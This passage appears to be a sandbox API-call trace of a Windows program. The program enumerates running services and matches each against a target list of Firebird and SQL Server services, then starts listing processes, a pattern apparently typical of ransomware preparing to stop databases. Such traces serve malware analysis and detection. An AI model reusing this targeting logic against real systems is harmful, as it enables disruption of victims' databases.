CloseHandle (hObject=0x4e4) returned 1 [0243.508] Sleep (dwMilliseconds=0x1f4) [0244.323] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aa8f8 [0244.329] EnumServicesStatusExW (in: hSCManager=0x41aa8f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0244.330] GetLastError () returned 0xea [0244.330] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1bc4) returned 0x4205420 [0244.330] EnumServicesStatusExW (in: hSCManager=0x41aa8f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4205420, cbBufSize=0x1bc4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4205420, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0244.331] CloseServiceHandle (hSCObject=0x41aa8f8) returned 1 [0244.331] lstrlenW (lpString="Appinfo") returned 7 [0244.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0244.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0244.331] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0244.331] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0244.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0244.331] lstrlenW (lpString="AppXSvc") returned 7 [0244.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0244.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0244.331] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0244.331] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0244.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0244.331] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0244.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0244.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0244.331] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0244.331] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0244.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0244.332] lstrlenW (lpString="Audiosrv") returned 8 [0244.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0244.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0244.332] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0244.332] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0244.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0244.332] lstrlenW (lpString="BFE") returned 3 [0244.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0244.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0244.332] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0244.332] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0244.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0244.332] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0244.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0244.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0244.332] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0244.332] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0244.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0244.332] lstrlenW (lpString="CDPSvc") returned 6 [0244.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0244.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0244.332] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0244.332] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0244.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0244.332] lstrlenW (lpString="ClickToRunSvc") returned 13 [0244.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0244.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0244.332] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0244.332] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0244.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0244.333] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0244.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0244.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0244.333] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0244.333] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0244.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0244.333] lstrlenW (lpString="CryptSvc") returned 8 [0244.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0244.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0244.333] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0244.333] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0244.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0244.333] lstrlenW (lpString="DcomLaunch") returned 10 [0244.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0244.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0244.333] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0244.333] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0244.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0244.333] lstrlenW (lpString="DeviceAssociationService") returned 24 [0244.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0244.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0244.333] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0244.333] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0244.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0244.333] lstrlenW (lpString="Dhcp") returned 4 [0244.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0244.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0244.333] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0244.333] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0244.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0244.334] lstrlenW (lpString="Dnscache") returned 8 [0244.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0244.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0244.334] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0244.334] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0244.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0244.334] lstrlenW (lpString="DPS") returned 3 [0244.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0244.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0244.334] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0244.334] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0244.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0244.334] lstrlenW (lpString="DusmSvc") returned 7 [0244.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0244.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0244.334] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0244.334] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0244.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0244.334] lstrlenW (lpString="EventLog") returned 8 [0244.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0244.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0244.334] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0244.334] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0244.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0244.334] lstrlenW (lpString="EventSystem") returned 11 [0244.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0244.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0244.334] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0244.334] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0244.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0244.334] lstrlenW (lpString="FontCache") returned 9 [0244.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0244.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0244.335] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0244.335] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0244.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0244.335] lstrlenW (lpString="gpsvc") returned 5 [0244.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0244.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0244.335] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0244.335] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0244.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0244.335] lstrlenW (lpString="iphlpsvc") returned 8 [0244.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0244.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0244.335] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0244.335] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0244.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0244.335] lstrlenW (lpString="KeyIso") returned 6 [0244.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0244.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0244.335] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0244.335] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0244.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0244.335] lstrlenW (lpString="LanmanServer") returned 12 [0244.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0244.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0244.335] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0244.335] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0244.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0244.335] lstrlenW (lpString="LanmanWorkstation") returned 17 [0244.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0244.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0244.336] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0244.336] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0244.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0244.336] lstrlenW (lpString="lfsvc") returned 5 [0244.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0244.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0244.336] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0244.336] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0244.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0244.336] lstrlenW (lpString="lmhosts") returned 7 [0244.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0244.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0244.336] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0244.336] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0244.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0244.336] lstrlenW (lpString="LSM") returned 3 [0244.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0244.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0244.336] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0244.336] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0244.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0244.336] lstrlenW (lpString="MpsSvc") returned 6 [0244.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0244.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0244.336] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0244.336] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0244.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0244.336] lstrlenW (lpString="NcbService") returned 10 [0244.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0244.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0244.336] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0244.337] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0244.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0244.337] lstrlenW (lpString="netprofm") returned 8 [0244.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0244.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0244.337] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0244.337] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0244.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0244.337] lstrlenW (lpString="NgcSvc") returned 6 [0244.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0244.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0244.337] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0244.337] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0244.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0244.337] lstrlenW (lpString="NlaSvc") returned 6 [0244.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0244.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0244.337] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0244.337] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0244.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0244.337] lstrlenW (lpString="nsi") returned 3 [0244.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0244.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0244.337] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0244.337] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0244.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0244.337] lstrlenW (lpString="PcaSvc") returned 6 [0244.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0244.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0244.337] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0244.337] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0244.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0244.337] lstrlenW (lpString="PlugPlay") returned 8 [0244.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0244.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0244.338] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0244.338] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0244.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0244.338] lstrlenW (lpString="Power") returned 5 [0244.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0244.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0244.338] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0244.338] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0244.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0244.338] lstrlenW (lpString="ProfSvc") returned 7 [0244.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0244.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0244.338] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0244.338] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0244.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0244.338] lstrlenW (lpString="RpcEptMapper") returned 12 [0244.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0244.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0244.338] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0244.338] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0244.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0244.338] lstrlenW (lpString="RpcSs") returned 5 [0244.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0244.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0244.338] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0244.338] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0244.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0244.338] lstrlenW (lpString="SamSs") returned 5 [0244.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0244.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0244.339] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0244.339] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0244.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0244.339] lstrlenW (lpString="Schedule") returned 8 [0244.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0244.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0244.339] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0244.339] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0244.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0244.339] lstrlenW (lpString="SecurityHealthService") returned 21 [0244.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0244.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0244.339] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0244.339] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0244.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0244.339] lstrlenW (lpString="SENS") returned 4 [0244.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0244.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0244.339] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0244.339] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0244.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0244.339] lstrlenW (lpString="ShellHWDetection") returned 16 [0244.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0244.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0244.339] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0244.339] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0244.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0244.502] lstrlenW (lpString="Spooler") returned 7 [0244.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0244.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0244.502] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0244.502] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0244.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0244.502] lstrlenW (lpString="StateRepository") returned 15 [0244.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0244.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0244.502] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0244.502] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0244.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0244.502] lstrlenW (lpString="SysMain") returned 7 [0244.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0244.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0244.502] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0244.502] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0244.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0244.502] lstrlenW (lpString="SystemEventsBroker") returned 18 [0244.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0244.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0244.502] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0244.502] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0244.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0244.503] lstrlenW (lpString="Themes") returned 6 [0244.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0244.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0244.503] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0244.503] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0244.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0244.503] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0244.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0244.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0244.503] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0244.503] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0244.503] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4205420 | out: hHeap=0x670000) returned 1 [0244.503] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4e8 [0244.508] Process32FirstW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0244.509] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0244.510] lstrlenW (lpString="System") returned 6 [0244.510] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0244.510] lstrlenW (lpString="smss.exe") returned 8 [0244.510] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0244.511] lstrlenW (lpString="csrss.exe") returned 9 [0244.511] Process32NextW (in: hSnapshot=0x4e8, lppe=0x248fd2c | out: 